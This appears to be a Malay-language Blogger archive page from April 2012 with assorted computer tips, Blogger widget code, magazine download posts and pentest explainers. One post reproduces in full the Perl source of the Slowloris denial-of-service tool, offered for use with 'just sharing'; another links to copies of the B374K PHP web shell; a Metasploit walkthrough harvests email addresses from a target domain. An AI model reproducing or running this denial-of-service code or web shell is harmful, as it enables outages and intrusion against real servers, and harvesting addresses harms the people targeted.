Lepak Bersama Muz: April 2012

Monday, 30 April 2012

Backtrack 5 - Email Collector

1. Buka terminal dan taip cd /pentest/exploits/framework3

2. Taip ./msfconsole

3. Kemudian taip :

msf > search collector
msf > use auxiliary/gather/search_email_collector
msf auxiliary(search_email_collector) > show options
msf auxiliary(search_email_collector) > set domain lamanwebtarget.com
domain => lamanwebtarget.com
msf auxiliary(search_email_collector) > run
....
Auxiliary module execution completed

4. Selesai ...

Saturday, 28 April 2012

Tutorial Chatting Di Twitter

Assalammualaikum,

Waah nampaknya bukan facebook sahaja boleh menggunakan fungsi chatting, kini dengan bantuan extension anda boleh juga berchatting di twitter.

Ikuti cara di bawah ini untuk menggunakan twitter chat :

1. Pergi ke http://bonfire.im/extensions/ dan tekan butang install extension.

2. Kalau dah install terus sahaja ke https://twitter.com/ dan rasakan chatting di twitter.

3. Namun jangan lupa bawa kawan-kawan anda yang anda ingin ajak chatting untuk install extensions yang sama sebelum nak chatting, jika tidak anda chattinglah sorang-sorang.. XD

Segmen : PENCARIAN BLOGGER SELURUH DUNIA!!

Nama Blog : Lepak Bersama Muz

Url Blog : http://komputer-milikku.blogspot.com/

Aplikasi Dan Permainan Untuk Android - BIG Collection [2 GB]

Klik Sini Untuk Sambungan

Shell B374K Newbie3viLc063s

Salam Olz...

Ne juz update simple je, juz nak sharing Shell B374K Newbie3viLc063s bagi sesiapa yang masih mencari Shell tu.

Shell B374K Newbie3viLc063s 2012 R2
Link : http://pastebin.com/TB1YaMSZ

B374K m1n1 Newbie3vilc063s Shell
Link : http://pastebin.com/mpic4274

Have a nice day XD

Friday, 27 April 2012

Creative Head - May 2012

Creative Head - May 2012

English | PDF | 136 pages | 42.4 MB

The leading magazine for hairdressing professionals in the UK and Ireland. Every month Creative HEAD delivers an exciting mix of stunning fashion, informed industry coverage and inspiring features for UK hairdressers...

Downloads:

Computerworld - 23 April 2012

Computerworld - 23 April 2012

English | 44 pages | HQ PDF | 36.00 Mb

Computerworld - has been the leading source of technology news and information for IT influencers worldwide. Computerworld's award-winning Web site (Computerworld.com), twice-monthly publication, focused conference series and custom research form the hub of the world's largest global IT media network.

Downloads:

Thursday, 26 April 2012

Tutorial Membuat Page 404 Untuk Blogger

404 atau laman tidak dijumpai adalah kod respon standard bagi HTTP yang menandakan bahawa server telah bertindak balas ke atas pelayan namun server tidak dapat mencari atau memproses permintaan pelayan.

Kebiasaanya sesebuah laman web akan menghasilkan laman 404 secara default apabila pengguna mengakses link yang tidak wujud dalam sesebuah lama sesawang.

Jadi di sini kita akan membuat page 404 yang akan direka sendiri untuk kegunaan blogger.

Langkahnya :

1. Pergi ke http://www.blogger.com/home

2.

Copy & Paste HTML Ini Ke Dalam Box Seperti Gambar Di Atas.

Oops!

</font> <font color="#666666">

Looks like you either clicked a broken link or a Page that no more exits. Kindly do one of the followings:

</font></strong></p>

<li>Report the Problem to us by <a href="http://komputer-milikku.blogspot.com/">Clicking Here</a>    (<em>This will help us serve you even better</em>) </li>

<li>Go To Homepage by <a href="http://komputer-milikku.blogspot.com/">Clicking Here</a>

</ol>

<p>

<br/>

<p align="center"><font size="5">Page Not Found!</font></p>

</div>

Nota Penting :

6.1. Anda boleh mengubah ayat dengan bold biru mengikut kesesuaian anda.

6.2. Tukar http://komputer-milikku.blogspot.com/ kepada link yang anda perlukan untuk pengguna membuat aduan.

6.3. Tukar http://komputer-milikku.blogspot.com/ kepada link blog anda.

7. Tekan butang SAVE CHANGES dan anda sudah separuh selesai.

8. Sekarang pergi ke TEMPLATES dan tekan butang EDIT HTML.

9. Tekan butang keyboard CTRL + F dan cari perkataan ]]></b:skin>

10. Setelah itu tambah kod HTML ini dibawah perkataan ]]></b:skin> tadi.

<b:if cond='data:blog.pageType == "error_page"'>

.status-msg-wrap {

font-size: 100%;

margin: none;

position: static;

width: 100%;

}

.status-msg-border {

display:none

}

.status-msg-body {

padding: none;

position: static;

text-align: inherit;

width: 100%;

z-index: auto;

}

.status-msg-wrap a {

padding: none;

text-decoration: inherit;

}

.LPM-404-box {

background:#FFFFFF;

width:98%;

margin:10px 0px;

padding:20px 10px;

border:1px solid #ddd;

-moz-border-radius:6px;

-webkit-border-radius:6px;

border-radius:6px;

box-shadow: 5px 5px 5px #CCCCCC;

}

</style>

</b:if>

11. Untuk mengubah warna background sila ubah kod warna #FFFFFF

12. Tekan butang SAVE TEMPLATE dan CLOSE.

Sekarang cuba buka link blog anda yang tidak wujud contohnya :

http://komputer-milikku.blogspot.com/lalala

SELAMAT MENCUBA

Wednesday, 25 April 2012

Widget Radio RcFM Untuk Blogger

Assalammualaikum,

Adakah anda pendengar RcFM iaitu radio rasmi Rileks Community? Ataupun anda baru je dengar perkara ini dan tertanya-tanya dalam hati apa ke jadah menatang RcFM ne? Jangan bimbang RcFM bukan menatang tapi ianya radio online yang merupakan stesen radio rasmi bagi warga Rileks Community.

Sekiranya korang baru nak try-try layan lagu kat RcFM ini bolehlah layari laman sesawang RcFM di http://radio.rc.my/ , Bagi pendengar setia, korang tak nak ke letak banner untuk radio pilihan korang ne kat blog korang masing-masing?

Janganlah kedekut sangat, tak ambik space banyak manapun... hehe, Kalo ada yang rasa-rasa nak letak tu tapi tak pula tau apa kod htmlnya, jangan segan-segan kat sini saya share kod htmlnya yang boleh anda letak dalam blog masing-masing okay?

Salin code HTML di bawah ini :

<center><a href="http://radio.rc.my/" target="_blank"><img src="http://rc.my/radio/images/rcfm2012.png" alt="" title="" border=0 width=150 height=150></a><br />

Now Playing - <blink><a href="http://www.tengkorak.ws/tunein.php/rileksfm/tunein.pls" id="cc_stream_info_song">Loading...</a></blink> (<span id="cc_stream_info_server"></span>)

<br /><b>Listener - <span id="cc_stream_info_listeners"></b></span><br />

<script language="javascript" type="text/javascript" src="http://rc.my/radio/streaminfo.js"></script>

<script language="javascript" type="text/javascript" src="http://www.tengkorak.ws/js.php/rileksfm/streaminfo/rnd0"></script>

<object width="265" height="30" type="application/x-shockwave-flash" id="scplayer" name="scplayer" data="http://player.wavestreamer.com/cgi-bin/player2.swf">

<param name="allowfullscreen" value="false" />

<param name="allowscriptaccess" value="always" />

<param name="bgcolor" value="#FFFFFF" />

Ataupun dapatkan salinannya melalui Pastebin dengan menekan link di bawah ini :

http://pastebin.com/8qWQrLb6

So kalau ada apa-apa masalah atau persoalan sila maklumkan kepada saya dengan meninggalkan soalan anda di ruang komen di bawah ini ok :)

Jadikan Akaun Gmail Anda Anti-Hacker

Assalammualaikum,

Seperti yang anda semua maklum, keselamatan adalah penting semasa kita berada di atas talian, walaupun tidak seratus peratus namun kita haruslah berusaha untuk menutup semua lubang yang memungkinkan hacker untuk menceroboh masuk ke dalam privasi kita.

Di sini adalah salah satu contoh aplikasi keselamatan yang diperkenalkan oleh Google, mungkin ada antara kita yang telah menyedari perkara ini dan mungkin ada yang tidak menyedarinya langsung. Aplikasi ini dipanggil sebagai "2 Step Verification" dimana anda memerlukan pin atau kata laluan untuk membolehkan anda masuk ke dalam akaun Gmail anda. Dimana pin tersebut akan diberi secara automatik melalui pesanan ringkas SMS ataupun pesanan suara ke nombor telefon bimbit milik anda.

Untuk menggunakan perkhidmatan ini anda bolehlah ke link ini : https://accounts.google.com/b/0/SmsAuthConfig

Rasanya caranya tak perlu saya terangkan step by step cuma ikut panduan yang bakal diberikan nanti setelah anda menekan butang Get Started. Atau rujuk dokumen yang telah disediakan oleh google di link ini : http://support.google.com/a/bin/answer.py?hl=en&answer=175197

APA YANG PENTING??

Anda harus memberikan nombor telefon yang mampu dicapai kerana nombor 6 digit pin rahsia akan dikirim ke nombor telefon bimbit yang anda daftarkan dan anda memerlukan pin rahsia 6 digit tersebut untuk login ke dalam akaun Gmail anda.

Pertandingan Mencipta Komik Meme

Anda pernah dengar komik meme atau bahasa omputihnya meme comic?

Apa sebenarnya yang dimaksudkan comic meme ne?

Meme sebenarnya adalah sesuatu benda yang menjadi bahan untuk di sebar dari seorang ke orang lain dan menjadi budaya atau perilaku semasa terutama di dalam internet. Viral video juga termasuk dalam meme.

Itulah meme secara ringkasnya, kalo orang loghat kelantan biasa guna ayat ne, memey ar... Hehehe

Namun itu bukan pointnya disini bukan nak berdebat pasal apa itu MEME, tapi ini mengenai pertandingan yang dianjurkan oleh Rileks Community. Tak tahu apa tu Rileks Community? Hang p buka www.google.com dan taip rileks dalam kotak search lalu tekan [ENTER], apa yang keluar?

Berbalik topic asal, siapa yang ada bakat dalam menghasilkan komik jenis mudah tapi padat iaitu meme comic bolehlah join pertandingan ne sambil-sambil menjadi separuh dari warga Rileks Community yang rileks dan sengal-sengal belaka... Hehe

Pasal peraturan dan apa-apa kejadah yang berkaitan dengan pertandingan mencipta komik meme ini bolehlah anda rujuk melalui link di bawah ini. Klik je... :)

http://forum.rc.my/showthread.php?tid=7905&pid=50445#pid50445

Tuesday, 24 April 2012

Buang Timeline Facebook Anda

Mungkin dah ada yang tahu cara ne, di sini saya hanya berkongsi kepada siapa-siapa yang belum tahu perkara ini. Bagi peminat facebook versi lama ini adalah berita gembira, dengan menggunakan browser extension daripada www[dot]timelineremove[dot]com anda boleh kembali ke versi facebook yang lama.

Namun diingatkan kepada anda bahawa penggunaan extension ini tidak membawa perubahan kekal, hanya anda yang boleh view facebook anda dalam versi lama dan orang lain tetap view profile anda dalam versi timeline dan kesannya hanya akan berlaku dalam browser yang telah anda pasang extension ini. Sekiranya tidak maka anda tetap akan melihat facebook anda dalam versi timeline.

Walaupun begitu saya tetap menggunakannya kerana sekurangnya mata tak semak tengok facebook versi timeline yang menyemakkan mata tu... :P

Sunday, 22 April 2012

Start Page Google Chrome Menawan

Anda bosan dengan laman default google chrome anda? Jom transform ianya ke multi-task page dengan google extension yang dibawakan khas oleh visibo products dan anda akan mendapatkan Google Start Page seperti ini. Ianya menarik.. :)

Incredible StartPage

[Perl] DDos Script

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
'shost=s' => \$shost,
'dns=s' => \$host,
'httpready' => \$httpready,
'num=i' => \$connections,
'cache' => \$cache,
'port=i' => \$port,
'https' => \$ssl,
'tcpto=i' => \$tcpto,
'test' => \$test,
'timeout=i' => \$timeout,
'version' => \$version,
);

if ($version) {
print "Version 0.7\n";
exit;
}

unless ($host) {
print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
print "\n\tType 'perldoc $0' for help with options.\n\n";
exit;
}

unless ($port) {
$port = 80;
print "Defaulting to port 80.\n";
}

unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.\n";
}
unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.\n";
}
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.\n";
$usemultithreading = 1;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!\n";
print "Slowloris will be slower than normal as a result.\n";
}

my $packetcount : shared = 0;
my $failed : shared = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
$sendhost = $shost;
}
else {
$sendhost = $host;
}
if ($httpready) {
$method = "POST";
}
else {
$method = "GET";
}

if ($test) {
my @times = ( "2", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "This test could take up to $totaltime minutes.\n";

my $delay = 0;
my $working = 0;
my $sock;

if ($ssl) {
if (
$sock = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
else {
if (
$sock = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
if ($working) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"GET /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
if ( print $sock $primarypayload ) {
print "Connection successful, now comes the waiting game...\n";
}
else {
print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
}
else {
print "Uhm... I can't connect to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: \n";
sleep( $times[$i] );
if ( print $sock "X-a: b\r\n" ) {
print "\tWorked.\n";
$delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "\tFailed after $times[$i] seconds.\n";
}
}

if ( print $sock "Connection: Close\r\n\r\n" ) {
print "Okay that's enough time. Slowloris closed the socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
else {
print "Remote server closed socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all... you might have trouble using Slowloris against this target. You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
}
}
else {
print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";

if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}

sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;
$working[$_] = 0 foreach ( 1 .. $num ); #initializing
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
while (1) {
$failedconnections = 0;
print "\t\tBuilding sockets.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (
$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
}
else {
$working[$z] = 0;
}
}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"$method /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload";
if ( $SIG{__WARN__} ) {
$working[$z] = 0;
close $handle;
$failed++;
$failedconnections++;
}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
}
print "\t\tSending data.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1 ) {
if ( $sock[$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: b\r\n" ) {
$working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
}
print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
sleep($timeout);
}
}

sub domultithreading {
my ($num) = @_;
my @thrs;
my $i = 0;
my $connectionsperthread = 50;
while ( $i < $num ) {
$thrs[$i] =
threads->create( \&doconnections, $connectionsperthread, 1 );
$i += $connectionsperthread;
}
my @threadslist = threads->list();
while ( $#threadslist > 0 ) {
$failed = 0;
}
}

__END__

NOT TESTED - JUST SHARING

Wednesday, 18 April 2012

What Is Penetration Testing And Example

Penetration testing (also called pen testing) is the practice of testing a computer system, network or Web application to find vulnerabilities that an attacker could exploit.
Pen tests can be automated with software applications or they can be performed manually. Either way, the process includes gathering information about the target before the test (reconnaissance), identifying possible entry points, attempting to break in (either virtually or for real) and reporting back the findings.

The main objective of penetration testing is to determine security weaknesses. A pen test can also be used to test an organization's security policy compliance, its employees' security awareness and the organization's ability to identify and respond to security incidents.

Penetration tests are sometimes called white hat attacks because in a pen test, the good guys are attempting to break in.

Pen test strategies include:

Targeted testing
Targeted testing is performed by the organization's IT team and the penetration testing team working together. It's sometimes referred to as a "lights-turned-on" approach because everyone can see the test being carried out.

External testing
This type of pen test targets a company's externally visible servers or devices including domain name servers (DNS), e-mail servers, Web servers or firewalls. The objective is to find out if an outside attacker can get in and how far they can get in once they've gained access.

Internal testing
This test mimics an inside attack behind the firewall by an authorized user with standard access privileges. This kind of test is useful for estimating how much damage a disgruntled employee could cause.

Blind testing
A blind test strategy simulates the actions and procedures of a real attacker by severely limiting the information given to the person or team that's performing the test beforehand. Typically, they may only be given the name of the company. Because this type of test can require a considerable amount of time for reconnaissance, it can be expensive.

Double blind testing
Double blind testing takes the blind test and carries it a step further. In this type of pen test, only one or two people within the organization might be aware a test is being conducted. Double-blind tests can be useful for testing an organization's security monitoring and incident identification as well as its response procedures.

Tuesday, 17 April 2012

Contoh-Contoh Pen-Test Linux Distributions

Apakah Pen-Test Linux Distributions yang anda kenali? Tentu sahaja jawapan yang biasa didengari adalah BackTrack... Ada juga yang kata saya guna BackTrack sebab saya hacker.. Hang hacker ke? Adakah anda cukup mahir mengendalikan tools pentest yang ada dalam BackTrack tu? Tepuk dada tanya hati...